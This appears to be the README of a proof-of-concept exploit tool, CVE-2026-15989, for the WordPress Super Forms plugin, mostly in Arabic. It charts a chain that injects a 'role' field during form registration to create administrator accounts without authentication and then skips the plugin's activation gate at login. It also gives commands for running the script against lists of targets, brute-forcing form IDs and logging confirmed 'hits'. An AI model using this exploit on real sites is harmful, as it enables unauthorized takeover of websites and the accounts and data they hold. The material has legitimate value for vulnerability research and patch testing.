█████╗  ███╗   ██╗ ████████╗ ██╗ ██████╗   ██████╗   ██████╗  ████████╗
                 ██╔══██╗ ████╗  ██║ ╚══██╔══╝ ██║ ██╔══██╗ ██╔═████╗ ██╔═████╗ ╚══██╔══╝
              ███████║ ██╔██╗ ██║    ██║    ██║ ██║  ██║ ██║██╔██║ ██║██╔██║    ██║
              ██╔══██║ ██║╚██╗██║    ██║    ██║ ██║  ██║ ████╔╝██║ ████╔╝██║    ██║
              ██║  ██║ ██║ ╚████║    ██║    ██║ ██████╔╝ ╚██████╔╝ ╚██████╔╝    ██║
              ╚═╝  ╚═╝ ╚═╝  ╚═══╝    ╚═╝    ╚═╝ ╚═════╝   ╚═════╝   ╚═════╝     ╚═╝

                                       » E X P L O I T S «

🎯 الهدف

⚡ السلاسل

GET admin-ajax.php?action=super_create_nonce ──► _sfs_id session + sf_nonce
        │
POST admin-ajax.php  action=super_submit_form  data=<JSON>
        │
      before_email_success_msg()  (Register & Login add-on)
        │
$other_userdata = array( ..., 'role', ... )   ◄── client key whitelisted
        │
$data['role']['value']  ──►  $userdata['role']   (register_user_role overwritten)
        │
wp_insert_user()  ──►  🔥 administrator account, zero authentication

POST wp-login.php   log / pwd / testcookie
        │                    + action=super_submit_form   ◄── the magic field
        │
check_user_login_status()  ──► pending/blocked gate SKIPPED
        │
GET /wp-admin/users.php
        │
200 = administrator proven  ·  403 = subscriber (patched build)

discovery empty (REST · sitemap · links · ?page_id probe)
        │
PHASE 1 — form-ID sweep 1..50, minimal payload, OWN SESSION PER ID
        │                       (shared sessions would invalidate each nonce)
        │
'required fields' reject ──► PHASE 2 — REST markup fetch ──► full payload retry
        │
every accepted candidate ──► login proof per id
        │
contact form? ──► UNVERIFIED (never a false positive)
registration? ──► 👑 verified administrator

🚀 البدء السريع

# zero dependencies — pure Python 3 stdlib (rich is optional, for the console)
python3 cve-2026-15989_poc.py --list labs.txt --output results.txt

# tuned concurrency / timeout
python3 cve-2026-15989_poc.py --list labs.txt --threads 20 --timeout 15 -o results.txt

# FULL MODE: discovery + role injection + login proof + form-ID brute (1..50)
python3 cve-2026-15989_poc.py --list labs.txt --full --output results.txt

labs.txt — عنوان URL أساسي واحد لكل سطر:

http://localhost
http://192.168.56.101/lab-wp
https://10.0.0.5:8443/lab        # self-signed TLS is handled automatically
# comments and blank lines are ignored

🛠️ الخيارات

🧾 حالات النتيجة

✨ الميزات

• 🔍 اكتشاف تلقائي بدون بصمة — محتوى REST المُصيَّر (wp-json + احتياطي ?rest_route=) ← فهرس sitemap ← أكثر من 40 مسار تسجيل متعدد اللغات (/register، /kayit-ol، /registrieren…) ← فحص ?page_id=N؛ يعمل مع أي قالب ومنشئ صفحات ونمط روابط دائمة
• 🧬 توليف حمولات تراعي التحقق — يُملأ كل حقل مُصيَّر تلقائيًا كما يفعل المتصفح: القيم الافتراضية الخاصة به، محتوى textarea، خيارات القوائم المنسدلة/مربعات الاختيار/أزرار الراديو، أنواع data-validation (email، number، date، time، phone، IBAN، color، URL)
• 🎟️ CSRF تلقائي — super_create_nonce من nopriv مرتبط بجلسة _sfs_id؛ تحصل محاولات التخمين على جلستها الخاصة حتى لا تُبطل الـ nonces بعضها البعض
• 👑 تصنيف صادق — VULNERABLE فقط عند إثبات الوصول إلى wp-admin؛ تُفصل الإصدارات المُرقَّعة عبر فحص 403؛ تظهر الحسابات المقفلة كـ UNVERIFIED
• 🥷 تجاوز بوابة التنشيط — إثبات تسجيل الدخول يحمل action=super_submit_form، متجاوزًا بوابة التحقق من البريد الإلكتروني / الإشراف الخاصة بالإضافة
• 🧨 وضع FULL — تخمين معرّف النموذج على مرحلتين مع إثبات تسجيل دخول لكل معرّف (لا يمكن أن تُنتج نماذج الاتصال إيجابيات كاذبة أبدًا)
• 🛡️ تقوية عناوين URL — روابط قوالب الثيم ({{ data.url }})، والأحرف التحكمية، والمضيفين بأسماء IDN/الشرطة التركية تُنقّى تلقائيًا
• 📁 قائمة إصابات نظيفة — يسجّل --output الأهداف المؤكدة فقط، ويُضاف مباشرةً، دائمًا نص عادي (متوافق مع grep/parse)
• 📊 وحدة تحكم Rich — لافتة ANSI Shadow بنمط antid00t، لوحة نتائج مباشرة، جدول ملخص؛ تراجع سلس إلى النص العادي بدون rich
• 🐍 بدون تبعيات — مكتبة Python 3 القياسية فقط (rich اختياري للتحسين البصري)

📋 المتطلبات

• الهدف: Super Forms <= 6.3.316 مع تفعيل إضافة Register & Login ووجود نموذج منشور واحد على الأقل (STANDARD) — لا يحتاج وضع FULL إلى أي نموذج قابل للاكتشاف على الإطلاق
• المهاجم: Python 3.8+ — لا حاجة إلى pip install